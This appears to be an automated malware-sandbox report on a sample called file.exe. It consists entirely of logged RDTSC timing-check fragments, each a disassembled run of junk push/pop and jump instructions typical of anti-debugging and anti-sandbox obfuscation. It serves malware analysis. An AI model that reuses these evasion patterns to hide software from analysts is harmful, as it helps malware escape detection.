Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4201E5 second address: 420218 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC875h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c jo 00007FDE34EAC86Ch 0x00000012 ja 00007FDE34EAC866h 0x00000018 pushad 0x00000019 push edx 0x0000001a pop edx 0x0000001b jns 00007FDE34EAC866h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 42036B second address: 42036F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 42036F second address: 420377 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 420500 second address: 420510 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDE34C00CDAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4207E8 second address: 4207EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4207EC second address: 4207FC instructions: 0x00000000 rdtsc 0x00000002 je 00007FDE34C00CD6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4207FC second address: 420800 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 420800 second address: 420806 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 42A7A5 second address: 42A7A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 42A7A9 second address: 42A7AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 42897B second address: 428981 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 428981 second address: 4289B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34C00CE4h 0x00000009 popad 0x0000000a jmp 00007FDE34C00CE7h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4289B5 second address: 4289BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 428B08 second address: 428B0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 428B0C second address: 428B20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FDE34EAC86Eh 0x0000000c jnc 00007FDE34EAC866h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 428B20 second address: 428B26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 428B26 second address: 428B30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FDE34EAC866h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 428B30 second address: 428B65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDE34C00CE9h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 428B65 second address: 428B69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 429137 second address: 429145 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007FDE34C00CD6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 429145 second address: 429149 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 429149 second address: 42914F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 42914F second address: 429154 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4293D0 second address: 4293F4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007FDE34C00CD6h 0x0000000d jmp 00007FDE34C00CE5h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4293F4 second address: 4293F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 429704 second address: 42971E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34C00CE5h 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 429890 second address: 429894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 429FEA second address: 429FEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 430C01 second address: 430C06 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 430D39 second address: 430D3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 43BC87 second address: 43BC9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FDE34EAC86Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 43BC9C second address: 43BCA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 43BCA2 second address: 43BCB8 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDE34EAC866h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jne 00007FDE34EAC866h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 43BCB8 second address: 43BCBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 43BCBE second address: 43BCCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jl 00007FDE34EAC866h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 43B9CC second address: 43B9D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 43B9D2 second address: 43B9D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 44041B second address: 440425 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FDE34C00CD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 440425 second address: 440450 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE34EAC86Ah 0x00000011 jmp 00007FDE34EAC875h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4405EC second address: 440608 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007FDE34C00CE5h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 440608 second address: 440617 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007FDE34EAC866h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 440617 second address: 440641 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FDE34C00CDCh 0x00000012 pushad 0x00000013 popad 0x00000014 jnp 00007FDE34C00CD6h 0x0000001a popad 0x0000001b jng 00007FDE34C00CD8h 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 440641 second address: 440649 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 440649 second address: 44064D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 44FE36 second address: 44FE57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDE34EAC879h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 44FE57 second address: 44FE5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 44FE5B second address: 44FE61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 44FE61 second address: 44FE6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 44FE6D second address: 44FE71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 44FE71 second address: 44FE75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 457AB7 second address: 457AD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34EAC875h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 457AD0 second address: 457B02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CDFh 0x00000007 jmp 00007FDE34C00CE9h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 457B02 second address: 457B12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC86Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 457B12 second address: 457B26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007FDE34C00CD6h 0x0000000e jc 00007FDE34C00CD6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 457B26 second address: 457B2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 457B2A second address: 457B30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 457B30 second address: 457B36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4563E0 second address: 4563E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4563E4 second address: 4563F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007FDE34EAC866h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4563F0 second address: 4563FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FDE34C00CD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4567E5 second address: 4567E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4567E9 second address: 4567EF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 456965 second address: 45696F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 456E0E second address: 456E21 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDE34C00CDEh 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 45C281 second address: 45C29E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34EAC871h 0x00000009 js 00007FDE34EAC866h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 45C29E second address: 45C2A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 45C2A7 second address: 45C2AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 45BFA1 second address: 45BFA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4601E4 second address: 4601E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4601E8 second address: 4601EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4601EE second address: 460209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FDE34EAC872h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 469441 second address: 46944F instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDE34C00CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 46944F second address: 469453 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 479374 second address: 479378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 479378 second address: 479395 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC879h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 47BA87 second address: 47BA8D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 495D8B second address: 495D91 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 495D91 second address: 495D97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 495D97 second address: 495D9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 495D9D second address: 495DBC instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDE34C00CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE34C00CE3h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 495F05 second address: 495F29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34EAC86Ah 0x00000009 popad 0x0000000a jc 00007FDE34EAC872h 0x00000010 jmp 00007FDE34EAC86Ch 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4961EA second address: 496209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDE34C00CE2h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 496209 second address: 49620D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 496363 second address: 496388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FDE34C00CDEh 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop ebx 0x00000011 jmp 00007FDE34C00CDCh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 496388 second address: 49638E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 496612 second address: 49662B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34C00CE3h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49662B second address: 496646 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34EAC872h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4969BC second address: 4969C2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 496C3D second address: 496C51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34EAC86Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 496C51 second address: 496C5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 499F3E second address: 499FC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC878h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FDE34EAC86Ah 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007FDE34EAC868h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 00000014h 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a mov dword ptr [ebp+122D310Fh], eax 0x00000030 push dword ptr [ebp+12455806h] 0x00000036 jnp 00007FDE34EAC86Ch 0x0000003c mov edx, dword ptr [ebp+122D2E5Fh] 0x00000042 call 00007FDE34EAC869h 0x00000047 jmp 00007FDE34EAC86Fh 0x0000004c push eax 0x0000004d jl 00007FDE34EAC872h 0x00000053 jnp 00007FDE34EAC86Ch 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 499FC1 second address: 499FCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, dword ptr [esp+04h] 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 499FCE second address: 499FD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 499FD2 second address: 499FF5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FDE34C00CDEh 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f popad 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 499FF5 second address: 499FFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940C2D second address: 4940C65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [eax+00000FDCh] 0x0000000f jmp 00007FDE34C00CE0h 0x00000014 test ecx, ecx 0x00000016 pushad 0x00000017 movzx eax, dx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940C65 second address: 4940C9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jns 00007FDE34EAC8B4h 0x0000000d pushad 0x0000000e mov ax, 572Dh 0x00000012 pushfd 0x00000013 jmp 00007FDE34EAC86Ah 0x00000018 sub al, FFFFFFC8h 0x0000001b jmp 00007FDE34EAC86Bh 0x00000020 popfd 0x00000021 popad 0x00000022 add eax, ecx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940C9A second address: 4940CA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940CA0 second address: 4940D05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDE34EAC878h 0x00000008 push eax 0x00000009 pop edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax+00000860h] 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FDE34EAC86Ah 0x0000001a sub eax, 3CC48088h 0x00000020 jmp 00007FDE34EAC86Bh 0x00000025 popfd 0x00000026 jmp 00007FDE34EAC878h 0x0000002b popad 0x0000002c test eax, eax 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 pushad 0x00000032 popad 0x00000033 popad 0x00000034 rdtsc
